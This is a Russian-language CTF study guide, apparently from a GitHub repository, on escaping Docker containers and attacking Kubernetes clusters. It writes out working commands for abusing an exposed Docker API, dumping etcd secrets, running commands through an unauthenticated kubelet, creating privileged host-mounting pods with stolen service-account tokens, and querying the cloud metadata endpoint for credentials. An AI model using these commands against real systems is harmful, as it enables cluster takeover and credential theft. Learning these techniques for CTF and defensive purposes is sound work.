Источник: https://github.com/AnaktaCTF/CTF/blob/main — Misc/Cloud CTF.md
Расширенный разбор Docker в CTF
Механика контейнеризации и точки входа
Docker использует Linux-механизмы для изоляции:
- Namespaces: Изолируют процессы (PID), сеть (NET), файловую систему (MNT).
- Cgroups: Ограничивают ресурсы (CPU, память).
- Capabilities: Определяют привилегии (например,
CAP_SYS_ADMIN).
В CTF часто встречаются задачи, где эти механизмы настроены некорректно, что позволяет "вырваться" из контейнера.
Пример: Выход за пределы контейнера через Capabilities
Если контейнер запущен с расширенными capabilities (например, CAP_SYS_PTRACE), можно вмешаться в процессы хоста:
ls -l /proc/1/exe # Проверяем доступ к хост-процессам
ptrace -p 1 # Прицепляемся к init-процессу хоста
Если CAP_SYS_ADMIN включен, попробуйте манипулировать ядром:
echo 0 > /proc/sys/kernel/yama/ptrace_scope # Отключаем защиту
Docker Bench Security
В реальных системах используют инструменты вроде docker-bench-security для аудита. В CTF вы можете сами проверить:
- Есть ли
--pid=hostили--network=host? - Монтируется ли
/или/etc?
Эксплуатация через Dockerfile
Иногда в задаче дают доступ к Dockerfile. Ищите уязвимости:
- EXPOSE: Открытые порты могут указывать на сервисы.
- COPY: Файлы, скопированные в контейнер, могут содержать флаг.
- RUN: Команды могут оставлять следы (например,
echo FLAG > /flag).
Пример:
FROM ubuntu
RUN echo "CTF{docker_leak}" > /secret.txt
CMD ["/bin/bash"]
Проверяйте:
cat /secret.txt
Docker API exploitation
Если вы нашли доступ к Docker API (например, через порт 2375), можно управлять хостом:
curl -X GET http://localhost:2375/containers/json # Список контейнеров
curl -X POST http://localhost:2375/containers/create -d '{"Image": "alpine", "Cmd": ["cat", "/host/flag.txt"], "Binds": ["/:/host"]}'
Запустите контейнер и получите результат.
Глубокий разбор Kubernetes в CTF
Архитектура Kubernetes
Понимание компонентов K8s критично для CTF:
- API Server: Центральный узел управления (порт 6443 или 443).
- etcd: Хранилище конфигураций и Secrets (порт 2379).
- Kubelet: Агент на нодах (порт 10250).
- Pod: Минимальная единица, содержащая контейнеры.
Расширенные векторы атак
1. Атака через etcd
Если в задаче доступен порт 2379 (etcd), вы можете извлечь все данные кластера:
etcdctl --endpoints=http://127.0.0.1:2379 get --prefix /registry
Флаги часто хранятся в Secrets:
etcdctl --endpoints=http://127.0.0.1:2379 get /registry/secrets/default/flag-secret
2. Kubelet exploitation
Kubelet (порт 10250) иногда открыт без аутентификации. Проверяйте:
curl -k https://<node-ip>:10250/pods
Если доступ есть, создайте Pod или выполните команду в существующем:
curl -X POST -k https://<node-ip>:10250/run/<namespace>/<pod>/<container> -d "cmd=cat+/flag.txt"
3. Service Account Token Abuse
Токены сервисных аккаунтов — золотая жила в K8s-задачах. Они монтируются по умолчанию, если не отключены (automountServiceAccountToken: false). Используйте их для:
- Перечисления ресурсов:
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods - Создания привилегированного Pod’а:
cat <<EOF | curl -k -H "Authorization: Bearer $TOKEN" -X POST https://kubernetes.default.svc/api/v1/namespaces/default/pods -d @- { "apiVersion": "v1", "kind": "Pod", "metadata": {"name": "pwn"}, "spec": { "containers": [ { "name": "pwn", "image": "ubuntu", "command": ["bash", "-c", "cat /host/flag.txt"], "volumeMounts": [{"name": "host", "mountPath": "/host"}] } ], "volumes": [{"name": "host", "hostPath": {"path": "/"}}] } } EOF
4. Misconfigured Metadata API
В облачных провайдерах (AWS, GCP) Pod’ы могут обращаться к Metadata API. Например, в AWS:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Если роль IAM настроена неправильно, вы получите ключи для доступа к другим ресурсам.
5. Sidecar-контейнеры
Иногда в Pod’е есть дополнительные контейнеры (sidecars). Проверяйте их:
kubectl describe pod <pod-name>
Если один из них привилегирован, используйте его для атаки.
Инструменты для анализа K8s
- kubectx/kubens: Быстрое переключение контекстов и namespace’ов.
- k9s: Терминал для управления кластером.
- Trivy: Сканер уязвимостей в контейнерах.
- Metasploit: Модули для Docker/K8s (например,
exploit/linux/http/docker_daemon_tcp).
Сложные сценарии CTF
Сценарий 1: Docker + K8s + Web
Вы подключаетесь к веб-приложению в контейнере:
curl http://app.local
Находите LFI (Local File Inclusion):
curl http://app.local/file?path=/proc/self/environ
Из переменных окружения получаете токен K8s (KUBERNETES_SERVICE_TOKEN). Используете его для создания Pod’а и чтения /flag.txt на хосте.
Сценарий 2: CRI-O вместо Docker
Вместо Docker используется CRI-O (альтернативный контейнерный runtime). Проверяйте:
crictl ps # Список контейнеров
crictl exec -it <container-id> /bin/sh
Если CRI-O настроен с --privileged, выходите на хост через /proc.
Сценарий 3: Taint/Toleration Abuse
В задаче вы видите, что мастер-нода доступна для запуска Pod’ов (нет taint’ов). Создайте Pod с nodeName: master:
spec:
nodeName: master
containers:
- name: pwn
image: alpine
command: ["cat", "/etc/kubernetes/admin.conf"]
Извлеките конфиг и получите полный контроль.
Практические советы
- Логи: Проверяйте
/var/logв контейнере или Pod’е — там могут быть подсказки. - Kernel exploits: Если версия ядра устарела (узнать через
uname -r), ищите эксплойты (например, Dirty COW). - Debugging: Используйте
straceилиgdbдля анализа бинарников внутри контейнера.
Дополнительные ресурсы
- HackTricks: hacktricks.xyz (разделы Docker/Kubernetes).
- PayloadsAllTheThings: github.com/swisskyrepo/PayloadsAllTheThings (K8s Exploits).
- CTFtime: Архив задач с облачными темами.
Задачи для практики
- Kubernetes Goat (github.com/madhuakula/kubernetes-goat)
Коллекция уязвимых K8s-сценариев с пошаговыми решениями. - TryHackMe (tryhackme.com)
Комнаты: "Kubernetes Basics", "Docker Security". - CTFtime (ctftime.org)
Архив задач с прошедших соревнований (фильтр по "cloud" или "container").